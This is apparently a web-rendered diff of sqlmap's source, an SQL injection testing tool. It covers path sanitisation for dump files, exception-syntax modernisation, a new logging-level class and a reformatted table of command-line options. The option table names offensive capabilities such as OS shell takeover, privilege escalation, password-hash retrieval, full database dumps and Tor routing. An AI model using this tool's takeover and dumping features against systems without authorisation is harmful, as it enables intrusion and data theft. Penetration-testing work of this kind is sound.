elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
|
elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
|
||||||
if not os.path.isdir(dumpDbPath):
|
if not os.path.isdir(dumpDbPath):
|
||||||
try:
|
try:
|
||||||
os.makedirs(dumpDbPath, 0755)
|
os.makedirs(dumpDbPath)
|
||||||
except:
|
except:
|
||||||
warnFile = True
|
warnFile = True
|
||||||
|
|
||||||
_ = unicodeencode(re.sub(r"[^\w]", "_", unsafeSQLIdentificatorNaming(db)))
|
_ = unicodeencode(re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(db)))
|
||||||
dumpDbPath = os.path.join(conf.dumpPath, "%s-%s" % (_, hashlib.md5(unicodeencode(db)).hexdigest()[:8]))
|
dumpDbPath = os.path.join(conf.dumpPath, "%s-%s" % (_, hashlib.md5(unicodeencode(db)).hexdigest()[:8]))
|
||||||
|
|
||||||
if not os.path.isdir(dumpDbPath):
|
if not os.path.isdir(dumpDbPath):
|
||||||
try:
|
try:
|
||||||
os.makedirs(dumpDbPath, 0755)
|
os.makedirs(dumpDbPath)
|
||||||
except Exception, ex:
|
except Exception, ex:
|
||||||
try:
|
try:
|
||||||
tempDir = tempfile.mkdtemp(prefix="sqlmapdb")
|
tempDir = tempfile.mkdtemp(prefix="sqlmapdb")
|
||||||
@@ -441,7 +442,7 @@ class Dump(object):
|
|||||||
|
|
||||||
dumpDbPath = tempDir
|
dumpDbPath = tempDir
|
||||||
|
|
||||||
dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower()))
|
dumpFileName = os.path.join(dumpDbPath, re.sub(r'[\\/]', UNSAFE_DUMP_FILEPATH_REPLACEMENT, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower())))
|
||||||
if not checkFile(dumpFileName, False):
|
if not checkFile(dumpFileName, False):
|
||||||
try:
|
try:
|
||||||
openFile(dumpFileName, "w+b").close()
|
openFile(dumpFileName, "w+b").close()
|
||||||
@@ -450,9 +451,9 @@ class Dump(object):
|
|||||||
except:
|
except:
|
||||||
warnFile = True
|
warnFile = True
|
||||||
|
|
||||||
_ = re.sub(r"[^\w]", "_", normalizeUnicode(unsafeSQLIdentificatorNaming(table)))
|
_ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(table)))
|
||||||
if len(_) < len(table) or IS_WIN and table.upper() in WINDOWS_RESERVED_NAMES:
|
if len(_) < len(table) or IS_WIN and table.upper() in WINDOWS_RESERVED_NAMES:
|
||||||
_ = unicodeencode(re.sub(r"[^\w]", "_", unsafeSQLIdentificatorNaming(table)))
|
_ = unicodeencode(re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table)))
|
||||||
dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (_, hashlib.md5(unicodeencode(table)).hexdigest()[:8], conf.dumpFormat.lower()))
|
dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (_, hashlib.md5(unicodeencode(table)).hexdigest()[:8], conf.dumpFormat.lower()))
|
||||||
else:
|
else:
|
||||||
dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (_, conf.dumpFormat.lower()))
|
dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (_, conf.dumpFormat.lower()))
|
||||||
@@ -611,9 +612,9 @@ class Dump(object):
|
|||||||
mimetype = magic.from_buffer(value, mime=True)
|
mimetype = magic.from_buffer(value, mime=True)
|
||||||
if any(mimetype.startswith(_) for _ in ("application", "image")):
|
if any(mimetype.startswith(_) for _ in ("application", "image")):
|
||||||
if not os.path.isdir(dumpDbPath):
|
if not os.path.isdir(dumpDbPath):
|
||||||
os.makedirs(dumpDbPath, 0755)
|
os.makedirs(dumpDbPath)
|
||||||
|
|
||||||
_ = re.sub(r"[^\w]", "_", normalizeUnicode(unsafeSQLIdentificatorNaming(column)))
|
_ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(column)))
|
||||||
filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8)))
|
filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8)))
|
||||||
warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath)
|
warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath)
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|||||||
+37
-28
@@ -22,6 +22,15 @@ class SORT_ORDER:
|
|||||||
FIFTH = 4
|
FIFTH = 4
|
||||||
LAST = 100
|
LAST = 100
|
||||||
|
|
||||||
|
# Reference: https://docs.python.org/2/library/logging.html#logging-levels
|
||||||
|
class LOGGING_LEVELS:
|
||||||
|
NOTSET = 0
|
||||||
|
DEBUG = 10
|
||||||
|
INFO = 20
|
||||||
|
WARNING = 30
|
||||||
|
ERROR = 40
|
||||||
|
CRITICAL = 50
|
||||||
|
|
||||||
class DBMS:
|
class DBMS:
|
||||||
ACCESS = "Microsoft Access"
|
ACCESS = "Microsoft Access"
|
||||||
DB2 = "IBM DB2"
|
DB2 = "IBM DB2"
|
||||||
@@ -233,40 +242,40 @@ class REDIRECTION:
|
|||||||
|
|
||||||
class PAYLOAD:
|
class PAYLOAD:
|
||||||
SQLINJECTION = {
|
SQLINJECTION = {
|
||||||
1: "boolean-based blind",
|
1: "boolean-based blind",
|
||||||
2: "error-based",
|
2: "error-based",
|
||||||
3: "inline query",
|
3: "inline query",
|
||||||
4: "stacked queries",
|
4: "stacked queries",
|
||||||
5: "AND/OR time-based blind",
|
5: "AND/OR time-based blind",
|
||||||
6: "UNION query",
|
6: "UNION query",
|
||||||
}
|
}
|
||||||
|
|
||||||
PARAMETER = {
|
PARAMETER = {
|
||||||
1: "Unescaped numeric",
|
1: "Unescaped numeric",
|
||||||
2: "Single quoted string",
|
2: "Single quoted string",
|
||||||
3: "LIKE single quoted string",
|
3: "LIKE single quoted string",
|
||||||
4: "Double quoted string",
|
4: "Double quoted string",
|
||||||
5: "LIKE double quoted string",
|
5: "LIKE double quoted string",
|
||||||
}
|
}
|
||||||
|
|
||||||
RISK = {
|
RISK = {
|
||||||
0: "No risk",
|
0: "No risk",
|
||||||
1: "Low risk",
|
1: "Low risk",
|
||||||
2: "Medium risk",
|
2: "Medium risk",
|
||||||
3: "High risk",
|
3: "High risk",
|
||||||
}
|
}
|
||||||
|
|
||||||
CLAUSE = {
|
CLAUSE = {
|
||||||
0: "Always",
|
0: "Always",
|
||||||
1: "WHERE",
|
1: "WHERE",
|
||||||
2: "GROUP BY",
|
2: "GROUP BY",
|
||||||
3: "ORDER BY",
|
3: "ORDER BY",
|
||||||
4: "LIMIT",
|
4: "LIMIT",
|
||||||
5: "OFFSET",
|
5: "OFFSET",
|
||||||
6: "TOP",
|
6: "TOP",
|
||||||
7: "Table name",
|
7: "Table name",
|
||||||
8: "Column name",
|
8: "Column name",
|
||||||
}
|
}
|
||||||
|
|
||||||
class METHOD:
|
class METHOD:
|
||||||
COMPARISON = "comparison"
|
COMPARISON = "comparison"
|
||||||
|
|||||||
+21
-16
@@ -337,7 +337,7 @@ def _feedTargetsDict(reqFile, addedTargetUrls):
|
|||||||
|
|
||||||
if not host:
|
if not host:
|
||||||
errMsg = "invalid format of a request file"
|
errMsg = "invalid format of a request file"
|
||||||
raise SqlmapSyntaxException, errMsg
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
if not url.startswith("http"):
|
if not url.startswith("http"):
|
||||||
url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url)
|
url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url)
|
||||||
@@ -402,7 +402,7 @@ def _loadQueries():
|
|||||||
errMsg = "something appears to be wrong with "
|
errMsg = "something appears to be wrong with "
|
||||||
errMsg += "the file '%s' ('%s'). Please make " % (paths.QUERIES_XML, getSafeExString(ex))
|
errMsg += "the file '%s' ('%s'). Please make " % (paths.QUERIES_XML, getSafeExString(ex))
|
||||||
errMsg += "sure that you haven't made any changes to it"
|
errMsg += "sure that you haven't made any changes to it"
|
||||||
raise SqlmapInstallationException, errMsg
|
raise SqlmapInstallationException(errMsg)
|
||||||
|
|
||||||
for node in tree.findall("*"):
|
for node in tree.findall("*"):
|
||||||
queries[node.attrib['value']] = iterate(node)
|
queries[node.attrib['value']] = iterate(node)
|
||||||
@@ -687,7 +687,7 @@ def _setMetasploit():
|
|||||||
|
|
||||||
if IS_WIN:
|
if IS_WIN:
|
||||||
try:
|
try:
|
||||||
import win32file
|
__import__("win32file")
|
||||||
except ImportError:
|
except ImportError:
|
||||||
errMsg = "sqlmap requires third-party module 'pywin32' "
|
errMsg = "sqlmap requires third-party module 'pywin32' "
|
||||||
errMsg += "in order to use Metasploit functionalities on "
|
errMsg += "in order to use Metasploit functionalities on "
|
||||||
@@ -700,7 +700,7 @@ def _setMetasploit():
|
|||||||
retVal = None
|
retVal = None
|
||||||
|
|
||||||
try:
|
try:
|
||||||
from _winreg import ConnectRegistry, OpenKey, QueryValueEx, HKEY_LOCAL_MACHINE
|
from _winreg import ConnectRegistry, OpenKey, QueryValueEx, HKEY_LOCAL_MACHINE
|
||||||
_ = ConnectRegistry(None, HKEY_LOCAL_MACHINE)
|
_ = ConnectRegistry(None, HKEY_LOCAL_MACHINE)
|
||||||
_ = OpenKey(_, key)
|
_ = OpenKey(_, key)
|
||||||
retVal = QueryValueEx(_, value)[0]
|
retVal = QueryValueEx(_, value)[0]
|
||||||
@@ -1128,7 +1128,7 @@ def _setHTTPHandlers():
|
|||||||
_ = urlparse.urlsplit(conf.proxy)
|
_ = urlparse.urlsplit(conf.proxy)
|
||||||
except Exception, ex:
|
except Exception, ex:
|
||||||
errMsg = "invalid proxy address '%s' ('%s')" % (conf.proxy, getSafeExString(ex))
|
errMsg = "invalid proxy address '%s' ('%s')" % (conf.proxy, getSafeExString(ex))
|
||||||
raise SqlmapSyntaxException, errMsg
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
hostnamePort = _.netloc.split(":")
|
hostnamePort = _.netloc.split(":")
|
||||||
|
|
||||||
@@ -1255,7 +1255,7 @@ def _setSafeVisit():
|
|||||||
kb.safeReq.post = None
|
kb.safeReq.post = None
|
||||||
else:
|
else:
|
||||||
errMsg = "invalid format of a safe request file"
|
errMsg = "invalid format of a safe request file"
|
||||||
raise SqlmapSyntaxException, errMsg
|
raise SqlmapSyntaxException(errMsg)
|
||||||
else:
|
else:
|
||||||
if not re.search(r"\Ahttp[s]*://", conf.safeUrl):
|
if not re.search(r"\Ahttp[s]*://", conf.safeUrl):
|
||||||
if ":443/" in conf.safeUrl:
|
if ":443/" in conf.safeUrl:
|
||||||
@@ -1580,7 +1580,7 @@ def _createTemporaryDirectory():
|
|||||||
except (OSError, IOError), ex:
|
except (OSError, IOError), ex:
|
||||||
errMsg = "there has been a problem while accessing "
|
errMsg = "there has been a problem while accessing "
|
||||||
errMsg += "temporary directory location(s) ('%s')" % getSafeExString(ex)
|
errMsg += "temporary directory location(s) ('%s')" % getSafeExString(ex)
|
||||||
raise SqlmapSystemException, errMsg
|
raise SqlmapSystemException(errMsg)
|
||||||
else:
|
else:
|
||||||
try:
|
try:
|
||||||
if not os.path.isdir(tempfile.gettempdir()):
|
if not os.path.isdir(tempfile.gettempdir()):
|
||||||
@@ -1607,7 +1607,7 @@ def _createTemporaryDirectory():
|
|||||||
except (OSError, IOError, WindowsError), ex:
|
except (OSError, IOError, WindowsError), ex:
|
||||||
errMsg = "there has been a problem while setting "
|
errMsg = "there has been a problem while setting "
|
||||||
errMsg += "temporary directory location ('%s')" % getSafeExString(ex)
|
errMsg += "temporary directory location ('%s')" % getSafeExString(ex)
|
||||||
raise SqlmapSystemException, errMsg
|
raise SqlmapSystemException(errMsg)
|
||||||
|
|
||||||
def _cleanupOptions():
|
def _cleanupOptions():
|
||||||
"""
|
"""
|
||||||
@@ -1648,7 +1648,10 @@ def _cleanupOptions():
|
|||||||
conf.rParam = []
|
conf.rParam = []
|
||||||
|
|
||||||
if conf.paramDel and '\\' in conf.paramDel:
|
if conf.paramDel and '\\' in conf.paramDel:
|
||||||
conf.paramDel = conf.paramDel.decode("string_escape")
|
try:
|
||||||
|
conf.paramDel = conf.paramDel.decode("string_escape")
|
||||||
|
except ValueError:
|
||||||
|
pass
|
||||||
|
|
||||||
if conf.skip:
|
if conf.skip:
|
||||||
conf.skip = conf.skip.replace(" ", "")
|
conf.skip = conf.skip.replace(" ", "")
|
||||||
@@ -1785,8 +1788,8 @@ def _cleanupOptions():
|
|||||||
if conf.col:
|
if conf.col:
|
||||||
conf.col = re.sub(r"\s*,\s*", ',', conf.col)
|
conf.col = re.sub(r"\s*,\s*", ',', conf.col)
|
||||||
|
|
||||||
if conf.excludeCol:
|
if conf.exclude:
|
||||||
conf.excludeCol = re.sub(r"\s*,\s*", ',', conf.excludeCol)
|
conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude)
|
||||||
|
|
||||||
if conf.binaryFields:
|
if conf.binaryFields:
|
||||||
conf.binaryFields = re.sub(r"\s*,\s*", ',', conf.binaryFields)
|
conf.binaryFields = re.sub(r"\s*,\s*", ',', conf.binaryFields)
|
||||||
@@ -1942,6 +1945,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||||||
kb.forcePartialUnion = False
|
kb.forcePartialUnion = False
|
||||||
kb.forceWhere = None
|
kb.forceWhere = None
|
||||||
kb.futileUnion = None
|
kb.futileUnion = None
|
||||||
|
kb.heavilyDynamic = False
|
||||||
kb.headersFp = {}
|
kb.headersFp = {}
|
||||||
kb.heuristicDbms = None
|
kb.heuristicDbms = None
|
||||||
kb.heuristicExtendedDbms = None
|
kb.heuristicExtendedDbms = None
|
||||||
@@ -2035,6 +2039,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||||||
kb.uChar = NULL
|
kb.uChar = NULL
|
||||||
kb.unionDuplicates = False
|
kb.unionDuplicates = False
|
||||||
kb.wafSpecificResponse = None
|
kb.wafSpecificResponse = None
|
||||||
|
kb.wizardMode = False
|
||||||
kb.xpCmdshellAvailable = False
|
kb.xpCmdshellAvailable = False
|
||||||
|
|
||||||
if flushAll:
|
if flushAll:
|
||||||
@@ -2116,6 +2121,8 @@ def _useWizardInterface():
|
|||||||
|
|
||||||
dataToStdout("\nsqlmap is running, please wait..\n\n")
|
dataToStdout("\nsqlmap is running, please wait..\n\n")
|
||||||
|
|
||||||
|
kb.wizardMode = True
|
||||||
|
|
||||||
def _saveConfig():
|
def _saveConfig():
|
||||||
"""
|
"""
|
||||||
Saves the command line options to a sqlmap configuration INI file
|
Saves the command line options to a sqlmap configuration INI file
|
||||||
@@ -2310,7 +2317,6 @@ def _setTorHttpProxySettings():
|
|||||||
errMsg = "can't establish connection with the Tor HTTP proxy. "
|
errMsg = "can't establish connection with the Tor HTTP proxy. "
|
||||||
errMsg += "Please make sure that you have Tor (bundle) installed and setup "
|
errMsg += "Please make sure that you have Tor (bundle) installed and setup "
|
||||||
errMsg += "so you could be able to successfully use switch '--tor' "
|
errMsg += "so you could be able to successfully use switch '--tor' "
|
||||||
|
|
||||||
raise SqlmapConnectionException(errMsg)
|
raise SqlmapConnectionException(errMsg)
|
||||||
|
|
||||||
if not conf.checkTor:
|
if not conf.checkTor:
|
||||||
@@ -2331,7 +2337,6 @@ def _setTorSocksProxySettings():
|
|||||||
errMsg = "can't establish connection with the Tor SOCKS proxy. "
|
errMsg = "can't establish connection with the Tor SOCKS proxy. "
|
||||||
errMsg += "Please make sure that you have Tor service installed and setup "
|
errMsg += "Please make sure that you have Tor service installed and setup "
|
||||||
errMsg += "so you could be able to successfully use switch '--tor' "
|
errMsg += "so you could be able to successfully use switch '--tor' "
|
||||||
|
|
||||||
raise SqlmapConnectionException(errMsg)
|
raise SqlmapConnectionException(errMsg)
|
||||||
|
|
||||||
# SOCKS5 to prevent DNS leaks (http://en.wikipedia.org/wiki/Tor_%28anonymity_network%29)
|
# SOCKS5 to prevent DNS leaks (http://en.wikipedia.org/wiki/Tor_%28anonymity_network%29)
|
||||||
@@ -2344,7 +2349,7 @@ def _checkWebSocket():
|
|||||||
from websocket import ABNF
|
from websocket import ABNF
|
||||||
except ImportError:
|
except ImportError:
|
||||||
errMsg = "sqlmap requires third-party module 'websocket-client' "
|
errMsg = "sqlmap requires third-party module 'websocket-client' "
|
||||||
errMsg += "in order to use WebSocket funcionality"
|
errMsg += "in order to use WebSocket functionality"
|
||||||
raise SqlmapMissingDependence(errMsg)
|
raise SqlmapMissingDependence(errMsg)
|
||||||
|
|
||||||
def _checkTor():
|
def _checkTor():
|
||||||
@@ -2536,11 +2541,11 @@ def _basicOptionValidation():
|
|||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
if conf.checkTor and not any((conf.tor, conf.proxy)):
|
if conf.checkTor and not any((conf.tor, conf.proxy)):
|
||||||
errMsg = "switch '--check-tor' requires usage of switch '--tor' (or option '--proxy' with HTTP proxy address using Tor)"
|
errMsg = "switch '--check-tor' requires usage of switch '--tor' (or option '--proxy' with HTTP proxy address of Tor service)"
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
if conf.torPort is not None and not (isinstance(conf.torPort, int) and conf.torPort >= 0 and conf.torPort <= 65535):
|
if conf.torPort is not None and not (isinstance(conf.torPort, int) and conf.torPort >= 0 and conf.torPort <= 65535):
|
||||||
errMsg = "value for option '--tor-port' must be in range 0-65535"
|
errMsg = "value for option '--tor-port' must be in range [0, 65535]"
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
if conf.torType not in getPublicTypeMembers(PROXY_TYPE, True):
|
if conf.torType not in getPublicTypeMembers(PROXY_TYPE, True):
|
||||||
|
|||||||
+235
-233
@@ -6,250 +6,252 @@ See the file 'LICENSE' for copying permission
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
optDict = {
|
optDict = {
|
||||||
# Format:
|
# Family: {"parameter name": "parameter datatype"},
|
||||||
# Family: { "parameter name": "parameter datatype" },
|
# --OR--
|
||||||
# Or:
|
# Family: {"parameter name": ("parameter datatype", "category name used for common outputs feature")},
|
||||||
# Family: { "parameter name": ("parameter datatype", "category name used for common outputs feature") },
|
|
||||||
"Target": {
|
|
||||||
"direct": "string",
|
|
||||||
"url": "string",
|
|
||||||
"logFile": "string",
|
|
||||||
"bulkFile": "string",
|
|
||||||
"requestFile": "string",
|
|
||||||
"sessionFile": "string",
|
|
||||||
"googleDork": "string",
|
|
||||||
"configFile": "string",
|
|
||||||
"sitemapUrl": "string",
|
|
||||||
},
|
|
||||||
|
|
||||||
"Request": {
|
"Target": {
|
||||||
"method": "string",
|
"direct": "string",
|
||||||
"data": "string",
|
"url": "string",
|
||||||
"paramDel": "string",
|
"logFile": "string",
|
||||||
"cookie": "string",
|
"bulkFile": "string",
|
||||||
"cookieDel": "string",
|
"requestFile": "string",
|
||||||
"loadCookies": "string",
|
"sessionFile": "string",
|
||||||
"dropSetCookie": "boolean",
|
"googleDork": "string",
|
||||||
"agent": "string",
|
"configFile": "string",
|
||||||
"randomAgent": "boolean",
|
"sitemapUrl": "string",
|
||||||
"host": "string",
|
},
|
||||||
"referer": "string",
|
|
||||||
"headers": "string",
|
|
||||||
"authType": "string",
|
|
||||||
"authCred": "string",
|
|
||||||
"authFile": "string",
|
|
||||||
"ignoreCode": "integer",
|
|
||||||
"ignoreProxy": "boolean",
|
|
||||||
"ignoreRedirects": "boolean",
|
|
||||||
"ignoreTimeouts": "boolean",
|
|
||||||
"proxy": "string",
|
|
||||||
"proxyCred": "string",
|
|
||||||
"proxyFile": "string",
|
|
||||||
"tor": "boolean",
|
|
||||||
"torPort": "integer",
|
|
||||||
"torType": "string",
|
|
||||||
"checkTor": "boolean",
|
|
||||||
"delay": "float",
|
|
||||||
"timeout": "float",
|
|
||||||
"retries": "integer",
|
|
||||||
"rParam": "string",
|
|
||||||
"safeUrl": "string",
|
|
||||||
"safePost": "string",
|
|
||||||
"safeReqFile": "string",
|
|
||||||
"safeFreq": "integer",
|
|
||||||
"skipUrlEncode": "boolean",
|
|
||||||
"csrfToken": "string",
|
|
||||||
"csrfUrl": "string",
|
|
||||||
"forceSSL": "boolean",
|
|
||||||
"hpp": "boolean",
|
|
||||||
"evalCode": "string",
|
|
||||||
},
|
|
||||||
|
|
||||||
"Optimization": {
|
"Request": {
|
||||||
"optimize": "boolean",
|
"method": "string",
|
||||||
"predictOutput": "boolean",
|
"data": "string",
|
||||||
"keepAlive": "boolean",
|
"paramDel": "string",
|
||||||
"nullConnection": "boolean",
|
"cookie": "string",
|
||||||
"threads": "integer",
|
"cookieDel": "string",
|
||||||
},
|
"loadCookies": "string",
|
||||||
|
"dropSetCookie": "boolean",
|
||||||
|
"agent": "string",
|
||||||
|
"randomAgent": "boolean",
|
||||||
|
"host": "string",
|
||||||
|
"referer": "string",
|
||||||
|
"headers": "string",
|
||||||
|
"authType": "string",
|
||||||
|
"authCred": "string",
|
||||||
|
"authFile": "string",
|
||||||
|
"ignoreCode": "integer",
|
||||||
|
"ignoreProxy": "boolean",
|
||||||
|
"ignoreRedirects": "boolean",
|
||||||
|
"ignoreTimeouts": "boolean",
|
||||||
|
"proxy": "string",
|
||||||
|
"proxyCred": "string",
|
||||||
|
"proxyFile": "string",
|
||||||
|
"tor": "boolean",
|
||||||
|
"torPort": "integer",
|
||||||
|
"torType": "string",
|
||||||
|
"checkTor": "boolean",
|
||||||
|
"delay": "float",
|
||||||
|
"timeout": "float",
|
||||||
|
"retries": "integer",
|
||||||
|
"rParam": "string",
|
||||||
|
"safeUrl": "string",
|
||||||
|
"safePost": "string",
|
||||||
|
"safeReqFile": "string",
|
||||||
|
"safeFreq": "integer",
|
||||||
|
"skipUrlEncode": "boolean",
|
||||||
|
"csrfToken": "string",
|
||||||
|
"csrfUrl": "string",
|
||||||
|
"forceSSL": "boolean",
|
||||||
|
"hpp": "boolean",
|
||||||
|
"evalCode": "string",
|
||||||
|
},
|
||||||
|
|
||||||
"Injection": {
|
"Optimization": {
|
||||||
"testParameter": "string",
|
"optimize": "boolean",
|
||||||
"skip": "string",
|
"predictOutput": "boolean",
|
||||||
"skipStatic": "boolean",
|
"keepAlive": "boolean",
|
||||||
"paramExclude": "string",
|
"nullConnection": "boolean",
|
||||||
"dbms": "string",
|
"threads": "integer",
|
||||||
"dbmsCred": "string",
|
},
|
||||||
"os": "string",
|
|
||||||
"invalidBignum": "boolean",
|
|
||||||
"invalidLogical": "boolean",
|
|
||||||
"invalidString": "boolean",
|
|
||||||
"noCast": "boolean",
|
|
||||||
"noEscape": "boolean",
|
|
||||||
"prefix": "string",
|
|
||||||
"suffix": "string",
|
|
||||||
"tamper": "string",
|
|
||||||
},
|
|
||||||
|
|
||||||
"Detection": {
|
"Injection": {
|
||||||
"level": "integer",
|
"testParameter": "string",
|
||||||
"risk": "integer",
|
"skip": "string",
|
||||||
"string": "string",
|
"skipStatic": "boolean",
|
||||||
"notString": "string",
|
"paramExclude": "string",
|
||||||
"regexp": "string",
|
"dbms": "string",
|
||||||
"code": "integer",
|
"dbmsCred": "string",
|
||||||
"textOnly": "boolean",
|
"os": "string",
|
||||||
"titles": "boolean",
|
"invalidBignum": "boolean",
|
||||||
},
|
"invalidLogical": "boolean",
|
||||||
|
"invalidString": "boolean",
|
||||||
|
"noCast": "boolean",
|
||||||
|
"noEscape": "boolean",
|
||||||
|
"prefix": "string",
|
||||||
|
"suffix": "string",
|
||||||
|
"tamper": "string",
|
||||||
|
},
|
||||||
|
|
||||||
"Techniques": {
|
"Detection": {
|
||||||
"tech": "string",
|
"level": "integer",
|
||||||
"timeSec": "integer",
|
"risk": "integer",
|
||||||
"uCols": "string",
|
"string": "string",
|
||||||
"uChar": "string",
|
"notString": "string",
|
||||||
"uFrom": "string",
|
"regexp": "string",
|
||||||
"dnsDomain": "string",
|
"code": "integer",
|
||||||
"secondOrder": "string",
|
"textOnly": "boolean",
|
||||||
},
|
"titles": "boolean",
|
||||||
|
},
|
||||||
|
|
||||||
"Fingerprint": {
|
"Techniques": {
|
||||||
"extensiveFp": "boolean",
|
"tech": "string",
|
||||||
},
|
"timeSec": "integer",
|
||||||
|
"uCols": "string",
|
||||||
|
"uChar": "string",
|
||||||
|
"uFrom": "string",
|
||||||
|
"dnsDomain": "string",
|
||||||
|
"secondOrder": "string",
|
||||||
|
},
|
||||||
|
|
||||||
"Enumeration": {
|
"Fingerprint": {
|
||||||
"getAll": "boolean",
|
"extensiveFp": "boolean",
|
||||||
"getBanner": ("boolean", "Banners"),
|
},
|
||||||
"getCurrentUser": ("boolean", "Users"),
|
|
||||||
"getCurrentDb": ("boolean", "Databases"),
|
|
||||||
"getHostname": "boolean",
|
|
||||||
"isDba": "boolean",
|
|
||||||
"getUsers": ("boolean", "Users"),
|
|
||||||
"getPasswordHashes": ("boolean", "Passwords"),
|
|
||||||
"getPrivileges": ("boolean", "Privileges"),
|
|
||||||
"getRoles": ("boolean", "Roles"),
|
|
||||||
"getDbs": ("boolean", "Databases"),
|
|
||||||
"getTables": ("boolean", "Tables"),
|
|
||||||
"getColumns": ("boolean", "Columns"),
|
|
||||||
"getSchema": "boolean",
|
|
||||||
"getCount": "boolean",
|
|
||||||
"dumpTable": "boolean",
|
|
||||||
"dumpAll": "boolean",
|
|
||||||
"search": "boolean",
|
|
||||||
"getComments": "boolean",
|
|
||||||
"db": "string",
|
|
||||||
"tbl": "string",
|
|
||||||
"col": "string",
|
|
||||||
"excludeCol": "string",
|
|
||||||
"pivotColumn": "string",
|
|
||||||
"dumpWhere": "string",
|
|
||||||
"user": "string",
|
|
||||||
"excludeSysDbs": "boolean",
|
|
||||||
"limitStart": "integer",
|
|
||||||
"limitStop": "integer",
|
|
||||||
"firstChar": "integer",
|
|
||||||
"lastChar": "integer",
|
|
||||||
"query": "string",
|
|
||||||
"sqlShell": "boolean",
|
|
||||||
"sqlFile": "string",
|
|
||||||
},
|
|
||||||
|
|
||||||
"Brute": {
|
"Enumeration": {
|
||||||
"commonTables": "boolean",
|
"getAll": "boolean",
|
||||||
"commonColumns": "boolean",
|
"getBanner": ("boolean", "Banners"),
|
||||||
},
|
"getCurrentUser": ("boolean", "Users"),
|
||||||
|
"getCurrentDb": ("boolean", "Databases"),
|
||||||
|
"getHostname": "boolean",
|
||||||
|
"isDba": "boolean",
|
||||||
|
"getUsers": ("boolean", "Users"),
|
||||||
|
"getPasswordHashes": ("boolean", "Passwords"),
|
||||||
|
"getPrivileges": ("boolean", "Privileges"),
|
||||||
|
"getRoles": ("boolean", "Roles"),
|
||||||
|
"getDbs": ("boolean", "Databases"),
|
||||||
|
"getTables": ("boolean", "Tables"),
|
||||||
|
"getColumns": ("boolean", "Columns"),
|
||||||
|
"getSchema": "boolean",
|
||||||
|
"getCount": "boolean",
|
||||||
|
"dumpTable": "boolean",
|
||||||
|
"dumpAll": "boolean",
|
||||||
|
"search": "boolean",
|
||||||
|
"getComments": "boolean",
|
||||||
|
"db": "string",
|
||||||
|
"tbl": "string",
|
||||||
|
"col": "string",
|
||||||
|
"exclude": "string",
|
||||||
|
"pivotColumn": "string",
|
||||||
|
"dumpWhere": "string",
|
||||||
|
"user": "string",
|
||||||
|
"excludeSysDbs": "boolean",
|
||||||
|
"limitStart": "integer",
|
||||||
|
"limitStop": "integer",
|
||||||
|
"firstChar": "integer",
|
||||||
|
"lastChar": "integer",
|
||||||
|
"query": "string",
|
||||||
|
"sqlShell": "boolean",
|
||||||
|
"sqlFile": "string",
|
||||||
|
},
|
||||||
|
|
||||||
"User-defined function": {
|
"Brute": {
|
||||||
"udfInject": "boolean",
|
"commonTables": "boolean",
|
||||||
"shLib": "string",
|
"commonColumns": "boolean",
|
||||||
},
|
},
|
||||||
|
|
||||||
"File system": {
|
"User-defined function": {
|
||||||
"rFile": "string",
|
"udfInject": "boolean",
|
||||||
"wFile": "string",
|
"shLib": "string",
|
||||||
"dFile": "string",
|
},
|
||||||
},
|
|
||||||
|
|
||||||
"Takeover": {
|
"File system": {
|
||||||
"osCmd": "string",
|
"rFile": "string",
|
||||||
"osShell": "boolean",
|
"wFile": "string",
|
||||||
"osPwn": "boolean",
|
"dFile": "string",
|
||||||
"osSmb": "boolean",
|
},
|
||||||
"osBof": "boolean",
|
|
||||||
"privEsc": "boolean",
|
|
||||||
"msfPath": "string",
|
|
||||||
"tmpPath": "string",
|
|
||||||
},
|
|
||||||
|
|
||||||
"Windows": {
|
"Takeover": {
|
||||||
"regRead": "boolean",
|
"osCmd": "string",
|
||||||
"regAdd": "boolean",
|
"osShell": "boolean",
|
||||||
"regDel": "boolean",
|
"osPwn": "boolean",
|
||||||
"regKey": "string",
|
"osSmb": "boolean",
|
||||||
"regVal": "string",
|
"osBof": "boolean",
|
||||||
"regData": "string",
|
"privEsc": "boolean",
|
||||||
"regType": "string",
|
"msfPath": "string",
|
||||||
},
|
"tmpPath": "string",
|
||||||
|
},
|
||||||
|
|
||||||
"General": {
|
"Windows": {
|
||||||
#"xmlFile": "string",
|
"regRead": "boolean",
|
||||||
"trafficFile": "string",
|
"regAdd": "boolean",
|
||||||
"batch": "boolean",
|
"regDel": "boolean",
|
||||||
"binaryFields": "string",
|
"regKey": "string",
|
||||||
